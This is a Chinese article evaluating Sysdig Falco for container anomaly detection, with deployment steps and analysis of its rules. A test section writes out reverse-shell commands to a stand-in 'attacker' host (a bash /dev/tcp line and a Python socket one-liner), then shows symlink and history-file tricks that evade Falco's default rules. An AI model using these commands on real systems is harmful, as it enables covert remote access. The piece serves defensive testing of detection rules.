41

探索Sysdig Falco:容器环境下的异常行为检测工具

 4 years ago
source link: https://www.tuicool.com/articles/ARZFVnF
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

【编者的话】随着容器技术的兴起,容器运行时的安全监控也成为各方关注的焦点。在各行各业积极上云的今天,如何及时准确发现容器环境内部的安全威胁并进行告警和处置,是容器平台开发运维和应急响应团队必须考虑的问题。Falco作为一款为云原生平台设计的进程异常行为检测工具,支持接入系统调用事件和Kubernetes审计日志,与其他工具相比具有独特优势,能够在前述问题上带给我们很多有益思考。本文希望通过两个场景来探索Falco的特性。

Falco简介

什么是Falco?

Falco是一款由Sysdig开源的进程异常行为检测工具。它既能够检测传统主机上的应用程序,也能够检测容器环境和云平台(主要是Kubernetes和Mesos)。

它能够检测所有涉及系统调用的进程行为。例如:

  • 某容器中启动了一个shell
  • 某服务进程创建了一个非预期类型的子进程
  • /etc/shadow文件被读写
  • /dev目录下创建了一个非设备文件
  • ls之类的常规系统工具向外进行了对外网络通信

此外,其还可以检测云环境下的特有行为。例如:

  • 创建了带有特权容器、挂载敏感路径或使用了宿主机网络的Pod
  • 向用户授予大范围权限(例如cluster-admin)
  • 创建了带有敏感信息的ConfigMap

那么,Falco与传统的主机安全检测工具有什么不同呢?

  1. Falco主要依赖于底层Sysdig内核模块提供的系统调用事件流,与用户态工具通过定时采样或轮询方式实现的离散式监控不同,它提供的是一种连续式实时监控功能;
  2. 与工作在内核层进行系统调用捕获、过滤和监控的工具相比,Falco自身运行在用户空间,仅仅借助内核模块来获得数据,Falco的规则变更和程序起止要更为灵活;
  3. 与其他既工作内核层又提供用户空间接口的工具相比,Falco具有非常易学的规则语法(可以与SELinux的规法对比)和对云环境的支持。

Falco采用C++语言编写,但它提供了丰富的告警输出方式(后面会提到),因此能够非常方便地与其他工具协同工作。

程序架构

在进入细节之前,我们希望给出一个“俯瞰”视角,以帮助您建立一个关于Falco的整体概念。

总体来讲,Falco是一个基于规则的进程异常行为检测工具,它目前支持的事件源有两种:

  • Sysdig内核模块
  • Kubernetes审计日志

其中,Sysdig内核模块提供的是整个宿主机上的实时系统调用事件信息,是Falco依赖的核心事件源。

另外,Falco支持五种输出告警的方式:

  • 输出到标准输出
  • 输出到文件
  • 输出到Syslog
  • 输出到HTTP服务
  • 输出到其他程序(命令行管道方式)

值得一提的是,最后两种方式使得我们能够很容易将Falco与其他组件或框架组合起来。

下图展示了它的基本架构:

MZBBbaZ.png!web

其中,紫色模块为Falco目前支持的输入事件源,绿色模块为目前支持的输出方式,蓝色模块即Falco用户态程序。

工作原理

Falco采用类似于iptables的规则匹配方式来检测异常。它自带了一份规则文件/etc/falco/falco_rules.yaml 供使用,我们也可以将自己定义的规则放在/etc/falco/falco_rules.local.yaml文件中。

它的异常检测流程是直观的。以系统调用为例:Sysdig内核模块首先加载,用户态的Falco运行后读取并解析本地配置文件和规则文件、初始化规则引擎;一旦有进程做了系统调用,内核模块将捕获到这次调用,并把详细信息传给Falco,Falco对这些信息作规则匹配,如果满足规则就通过约定好的方式输出告警。上述工作流程可以表示如下:

YvqeQvB.jpg!web

规则介绍

Falco的规则使用 YAML 描述,一个规则文件(如 /etc/falco/falco_rules.yaml)包含三类元素:

  • 规则:一条规则是描述“在什么条件下生成什么样的告警”的规定
  • 宏:这里宏的意义与C语言中的基本相同,它是一些“判定条件片段”,能够在不同的规则甚至宏中复用
  • 列表:即元素集合,能够被规则、宏或者其他列表使用

从层次上来说,基础条件表达式、列表和宏一起构成规则,规则是最直接被Falco用来判断某一行为是否异常的依赖标准。

一条规则至少由以下必需项构成:规则名、条件、描述文字、输出信息和优先级。

下面是一个规则示例:

- rule: Terminal shell in container # 规则名:必须是独一无二的名称
desc: A shell was used as the entrypoint/exec point into a container with an attached terminal. # 描述文字:对规则的详细说明
condition: > # 条件:用来筛选事件的过滤表达式(Falco采用Sysdig的过滤语法)
spawned_process and container
and shell_procs and proc.tty != 0
and container_entrypoint
output: > # 输出信息:与规则匹配的事件发生时,输出的告警信息
A shell was spawned in a container with an attached terminal (user=%user.name %container.info
shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository)
priority: NOTICE # 优先级:表示该事件严重程度,是一个枚举项,枚举范围为['emergency', 'alert', 'critical', 'error', 'warning', 'notice', 'informational', 'debug']
tags: [container, shell, mitre_execution]

毫无疑问,一条规则的核心是“条件”,它决定了一个事件是否应该被视作异常行为。在后面几节中,我们将接触并深入分析一些规则。

更详细的信息请参考官方文档。

部署方法

Falco能够直接部署在物理主机上,也能够以容器方式部署,还能以DaemonSet部署在Kubernetes集群中。

在这里,我们给出手动以DaemonSet方式在Kubernetes集群上部署Falco的过程,其他部署方法可以参考官方文档。

安装内核头文件

前面提到,Falco依赖于Sysdig内核模块。因此,我们需要在Kubernetes集群的每个节点上安装内核头文件:

sudo apt-get install linux-headers-$(uname -r)

注:笔者的Kubernetes测试环境节点使用Ubuntu系统,其他Linux发行版使用等效命令安装即可。

创建Kubernetes资源

获取远程仓库:

git clone https://github.com/falcosecurity/falco/
cd falco/integrations/Kubernetes-using-daemonset

创建ServiceAccount并提供必要的RABC权限:

kubectl apply -f Kubernetes-with-rbac/falco-account.yaml

创建Falco服务(如果不需要Kubernetes审计日志作为事件源,可以跳过此步骤):

kubectl apply -f Kubernetes-with-rbac/falco-service.yaml

创建ConfigMap来存储Falco的配置,这样一来我们即使更改配置也不必重新构建、部署Pods:

mkdir -p Kubernetes-with-rbac/falco-config
cp ../../falco.yaml Kubernetes-with-rbac/falco-config/
cp ../../rules/falco_rules.* Kubernetes-with-rbac/falco-config/
cp ../../rules/Kubernetes_audit_rules.yaml Kubernetes-with-rbac/falco-config/
kubectl create configmap falco-config --from-file=Kubernetes-with-rbac/falco-config

创建DaemonSet:

kubectl apply -f Kubernetes-with-rbac/falco-daemonset-configmap.yaml

测试

获取Pod日志:

kubectl logs -l app=falco-example

日志显示Falco已经正常运行:

* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
Thu Sep 19 02:09:44 2019: Falco initialized with configuration file /etc/falco/falco.yaml
Thu Sep 19 02:09:44 2019: Loading rules from file /etc/falco/falco_rules.yaml:
Thu Sep 19 02:09:44 2019: Loading rules from file /etc/falco/falco_rules.local.yaml:
Thu Sep 19 02:09:44 2019: Loading rules from file /etc/falco/Kubernetes_audit_rules.yaml:
Thu Sep 19 02:09:45 2019: Starting internal webserver, listening on port 8765
02:09:45.241612000: Notice Privileged container started (user=root command=container:0b07c858a9a0 Kubernetes.ns=default Kubernetes.pod=falco-daemonset-hgbp9 container=0b07c858a9a0 image=falcosecurity/falco:0.17.0) Kubernetes.ns=default Kubernetes.pod=falco-daemonset-hgbp9 container=0b07c858a9a0

“Hello World”之检测容器内创建Shell

在部署完成后,Falco已经提供了一个现成的规则文件 /etc/falco/falco_rules.yaml 供我们使用。这里我们借助一个简单的场景来体验Falco的功能:容器中启动一个shell,Falco检测出这个异常行为。

测试

测试环境是拥有两个节点的Kubernetes,Falco以DaemonSet形式部署在上面:

jEJzEje.png!web

首先,我们连接到某个Falco Pod上(这里我们连接到Master节点上的Pod):

kubectl attach falco-daemonset-77gct

Master节点上事先已经运行了一个Ubuntu容器,现在我们尝试在这个容器里打开一个shell:

docker exec -it b769 /bin/bash

从下图中可以看到,在shell打开的同时,Falco就给出了告警提示:

a6viauI.jpg!web

规则分析

下面,我们来看一看这一切是如何发生的:

首先从 /etc/falco/falco_rules.yaml 中找到被触发的检测规则:

- rule: Terminal shell in container
desc: A shell was used as the entrypoint/exec point into a container with an attached terminal.
condition: >
spawned_process and container
and shell_procs and proc.tty != 0
and container_entrypoint
output: >
A shell was spawned in a container with an attached terminal (user=%user.name %container.info
shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository)
priority: NOTICE
tags: [container, shell, mitre_execution]

上面规则中的条件如下:

condition: >
spawned_process and container
and shell_procs and proc.tty != 0
and container_entrypoint

其中,spawned_process、container和shell_procs及container_entrypoint是四个宏,我们同样可以在/etc/falco/falco_rules.yaml中找到它们:

- list: shell_binaries
items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]
- macro: spawned_process
condition: evt.type = execve and evt.dir=<
- macro: container
condition: (container.id != host)
- macro: shell_procs
condition: proc.name in (shell_binaries)
- macro: container_entrypoint
condition: (not proc.pname exists or proc.pname in (runc:[0:PARENT], runc:[1:CHILD], runc, docker-runc, exe))

综合上述信息,我们可以将该规则“翻译”为如下语言:

如果一个事件指明“在某容器中”启动了一个“新进程”,进程名是“常见shell的名称”,分配“有终端”且角色为“容器入口进程”,那么该事件被判定为notice级别的异常,一个告警将被输出。

最终,我们得到这样一个告警信息:

103:04:49.103073119: Notice A shell was spawned in a container with an attached terminal (user=root Kubernetes.ns=<NA> Kubernetes.pod=<NA> container=b769d5606d87 shell=bash parent=runc cmdline=bash terminal=34817 container_id=b769d5606d87 image=ubuntu) Kubernetes.ns=<NA> Kubernetes.pod=<NA> container=b769d5606d87

“Hello World”之对抗反弹Shell

在做了以上初步尝试后,笔者不满足于这种简单实验,希望能够在更有意义的场景下探索Falco,从而更好地体会它的优势与不足。

我们知道,常见的攻击往往从Web服务入手:攻击者首先收集各种信息,进行各种测试,然后借助注入或文件上传等手段拿到Webshell,接着通常会利用Webshell来反弹一个真正的shell(考虑到传统内网防火墙拦进不拦出的特性,反弹shell要比监听shell可用性更高)到自己控制的机器,最终利用这个shell进行权限提升、横向渗透、访问维持和痕迹清理等后渗透阶段的活动。

因此,“反弹shell”往往在整个攻击过程中起到非常重要的作用。那么,Falco能否用来检测反弹shell的建立呢?

在第一节中,Falco现有规则已经能够检测到容器中入口进程执行shell的情况。其实我们只需要对该规则的条件做一点改动,就能够实现本节的目的:

condition: >
spawned_process and container
and shell_procs and proc.tty != 0

具体而言,我们依然使用 /etc/falco/falco_rules.yaml 作为规则文件,只是删去了其中“Terminal shell in container”这一规则的“shell必须作为容器入口进程”限制。

第一次测试

现在来试一下!

为了方便调试,本节我们采用直接在Master上安装运行Falco的方式。我们将开启三个终端窗口:

Vn63aaI.png!web

其中,右下方是Falco终端,用来在Master上运行Falco;上方的是victim终端,用来模拟攻击者建立反弹shell的操作;左下方是attacker终端,用来监听反弹shell请求。

首先,我们在attacker终端中开启监听:

ncat -l -p 10000

在Falco终端启动检测:

falco

接着,在victim终端创建常用的反弹shell:

bash -i >& /dev/tcp/attacker/10000 0>&1

攻击者在attacker终端成功获得了反弹shell,然而,Falco终端给出了两条告警:

qInM3ea.jpg!web

告警分别为:

  • 检测到系统程序接收/发送了网络流量
  • 检测到容器内开启了一个shell

第一次绕过

好了,看来借助Falco来检测反弹shell至少是可行的。那么,攻击者是否能够绕过上面的检测呢?

我们来分析一下情况。

第一个告警在第一节中没有出现过,但的确也是基于 /etc/falco/falco_rules.yaml 中的规则生成的:

- rule: System procs network activity
desc: any network activity performed by system binaries that are not expected to send or receive any network traffic
condition: >
(fd.sockfamily = ip and (system_procs or proc.name in (shell_binaries)))
and (inbound_outbound)
and not proc.name in (systemd, hostid, id)
and not login_doing_dns_lookup
output: >
Known system binary sent/received network traffic
(user=%user.name command=%proc.cmdline connection=%fd.name container_id=%container.id image=%container.image.repository)
priority: NOTICE
tags: [network, mitre_exfiltration]

相关的宏和列表如下:

- macro: system_procs
condition: proc.name in (coreutils_binaries, user_mgmt_binaries)
- list: shell_binaries
items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]
- macro: inbound_outbound
condition: >
(((evt.type in (accept,listen,connect) and evt.dir=<)) or
(fd.typechar = 4 or fd.typechar = 6) and
(fd.ip != "0.0.0.0" and fd.net != "127.0.0.0/8") and
(evt.rawres >= 0 or evt.res = EINPROGRESS))
- list: coreutils_binaries
items: [
truncate, sha1sum, numfmt, fmt, fold, uniq, cut, who,
groups, csplit, sort, expand, printf, printenv, unlink, tee, chcon, stat,
basename, split, nice, "yes", whoami, sha224sum, hostid, users, stdbuf,
base64, unexpand, cksum, od, paste, nproc, pathchk, sha256sum, wc, test,
comm, arch, du, factor, sha512sum, md5sum, tr, runcon, env, dirname,
tsort, join, shuf, install, logname, pinky, nohup, expr, pr, tty, timeout,
tail, "[", seq, sha384sum, nl, head, id, mkfifo, sum, dircolors, ptx, shred,
tac, link, chroot, vdir, chown, touch, ls, dd, uname, "true", pwd, date,
chgrp, chmod, mktemp, cat, mknod, sync, ln, "false", rm, mv, cp, echo,
readlink, sleep, stty, mkdir, df, dir, rmdir, touch
]
- list: user_mgmt_binaries
items: [login_binaries, passwd_binaries, shadowutils_binaries]
- list: login_binaries
items: [
login, systemd, '"(systemd)"', systemd-logind, su,
nologin, faillog, lastlog, newgrp, sg
]
- list: passwd_binaries
items: [
shadowconfig, grpck, pwunconv, grpconv, pwck,
groupmod, vipw, pwconv, useradd, newusers, cppw, chpasswd, usermod,
groupadd, groupdel, grpunconv, chgpasswd, userdel, chage, chsh,
gpasswd, chfn, expiry, passwd, vigr, cpgr, adduser, addgroup, deluser, delgroup
]
- list: shadowutils_binaries
items: [
chage, gpasswd, lastlog, newgrp, sg, adduser, deluser, chpasswd,
groupadd, groupdel, addgroup, delgroup, groupmems, groupmod, grpck, grpconv, grpunconv,
newusers, pwck, pwconv, pwunconv, useradd, userdel, usermod, vigr, vipw, unix_chkpwd
]

仔细思考后发现,第一条规则的条件中比较容易突破的点是(system_procs or proc.name in (shell_binaries)))。我们可以将上面的列表理解为黑名单,那么如果要绕过第一条规则,只需要采用一种不在黑名单上的方式即可,例如借助Python来建立反弹shell:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

第二次测试

执行上述命令,攻击者再次获得了shell,可以看到,告警也只有一条关于shell的了:

BnQvMn6.jpg!web

第二次绕过

那么,如何绕过剩下这个告警呢?思路是类似的,我们只需要使用黑名单之外的shell即可(上面的Python代码实质上调用了/bin/sh)。然而,规则文件中shell列表基本上把常见shell都包含进去了:[ash, bash, csh, ksh, sh, tcsh, zsh, dash],想再找出一个其他的shell,不太容易。因此,我们考虑别的思路。例如,可以尝试软链接的方式变相为shell改名(普通用户权限不能直接修改 /bin/sh 的文件名;另外,为了规避可能发生的动态链接问题我们也不借助拷贝来实现改名,事实上这样也是可行的):

1ln -s /bin/bash /tmp/fake_bash

将前面的反弹shell中的/bin/sh替换掉:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/tmp/fake_bash","-i"]);'

第三次测试

执行上述命令,攻击者又获得了shell ,而且这次Falco没有任何告警:

6zQBRzE.jpg!web

触发隐藏剧情

虽然表面上看起来没有任何告警被触发,但是新的问题会出现:当攻击者在反弹shell中执行过命令然后退出时,当前shell会自动向 ~/.bash_history 文件写入执行过的命令历史记录,这个操作同样会触发告警:

rIfaUvM.jpg!web

我们看一下原因,同样从 /etc/falco/falco_rules.yaml 文件中找到相应规则:

- rule: Modify Shell Configuration File
desc: Detect attempt to modify shell configuration files
condition: >
open_write and
(fd.filename in (shell_config_filenames) or
fd.name in (shell_config_files) or
fd.directory in (shell_config_directories)) and
not proc.name in (shell_binaries)
output: >
a shell configuration file has been modified (user=%user.name command=%proc.cmdline file=%fd.name container_id=%container.id image=%container.image.repository)
priority:
WARNING
tag: [file, mitre_persistence]

逻辑很简单,我们不再给出相应的宏和列表。原因也很简单:~/.bash_history 一定是被监控的shell配置文件之一。

知道了原因,我们也有了绕过方案。一种比较取巧的方式是,直接限制用户自己对 ~/.bash_history 文件的写入:

chmod u-w ~/.bash_history

先执行上述命令,再使用上面给出的Python+软链接方式创建反弹shell,整个过程终于不再触发任何告警:

ERVbInF.jpg!web

总结

从前面实验中的两次绕过来看,似乎Falco的自带规则并不十分准确。在实验中,我们尽量减少对Falco自带规则文件的修改,正是为了尽可能模拟真实场景,探索这么做会带来什么问题。现实中,许多开发、运维人员常常不去修改默认配置或文件,认为配备了安全防护设施后就可以高枕无忧。然而,许多安全事故正是来自这些看似不起眼的地方。无论多么先进的技术,只有融入到具体情况千差万别的生产环境中,安全运营团队持续地采用多种检测手段交叉验证、形成闭环,才能真正有效发挥作用。

另外,笔者认为,作为一种适用于云环境的“无状态”的“系统调用级别”实时异常行为检测工具,Falco提供了稳定可信的原子异常事件序列,这已足够。

诚然,我们可以根据具体生产环境的特点去构建更复杂、严格的检测规则,使规则更难被绕过,但是随着时间的推移和攻击技术的发展,这样的检测规则势必会陷入“过度拟合”的状态,难于维护和进化,难免百密一疏。

也许,一个更优雅灵活的防护机制是,将Falco作为底层异常事件源,在其上应用异常检测算法构建出一套“有状态”的异常检测系统。这样的系统能够从异常事件序列中解读出更高层次的攻击行为,且易于维护和进化:在大部分情况下,我们只需要修改上层检测模型,使之适应当前环境即可。

参考链接:

  1. Falco官方文档
  2. SELinux, Seccomp, Sysdig Falco, and you: A technical discussion

拓展阅读:

  1. How to identify malicious IP activity using Falco
  2. How to detect Kubernetes vulnerability CVE-2019-11246 using Falco.
  3. High Interaction Honeypots with Sysdig and Falco

原文链接: https://mp.weixin.qq.com/s/BAaOREFajQKk3y4MHDgmuA


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK